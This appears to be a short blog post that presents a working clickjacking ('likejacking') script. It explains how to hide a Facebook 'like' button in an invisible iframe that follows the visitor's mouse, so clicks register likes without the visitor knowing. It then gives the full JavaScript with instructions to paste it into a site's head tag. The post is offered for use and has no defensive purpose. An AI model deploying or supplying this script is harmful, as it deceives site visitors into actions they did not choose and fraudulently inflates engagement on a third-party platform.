The underlying mechanism works as follows:
You create an iframe containing the Facebook 'like' button, and you make it follow the visitor's mouse. The catch here is that the iframe is invisible - so the visitor will not know when he clicked like. This method is very effective and I've seen Facebook likes skyrocket in practice, in just a matter of days. The script is shown below - customize the Facebook page name and the number of seconds the 'like' button should remain active, and you're good to go. To implement the functionality in your site, just copy the script between the <head> ... </head> tags. Enjoy.
<script type="text/javascript"> (function(){ var pageURL = 'http://www.facebook.com/YourPageHere'; var likeTimeout = 10000; // milliseconds var x, y, usingIE; x = y = 0; usingIE = document.all ? true : false; if(!usingIE) document.captureEvents(Event.MOUSEMOVE); var like = document.createElement('iframe'); like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(pageURL) + '&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80'; like.scrolling = 'no'; like.frameBorder = 0; like.allowTransparency = 'true'; like.style.border = 0; like.style.overflow = 'hidden'; like.style.cursor = 'pointer'; like.style.width = '53px'; like.style.height = '23px'; like.style.position = 'absolute'; like.style.opacity = 0; document.getElementsByTagName('body')[0].appendChild(like); window.addEventListener('mousemove', mouseMove, false); setTimeout(function(){ document.getElementsByTagName('body')[0].removeChild(like); window.removeEventListener('mousemove', mouseMove, false); }, likeTimeout); function mouseMove(e) { if(usingIE) { x = event.clientX + document.body.scrollLeft; y = event.clientY + document.body.scrollTop; } else { x = e.pageX; y = e.pageY; } if(x < 0) x = 0; if(y < 0) y = 0; like.style.top = (y - 20) + 'px'; like.style.left = (x - 40) + 'px'; return true; } })(); </script>
~ Dmitry
No comments:
Post a Comment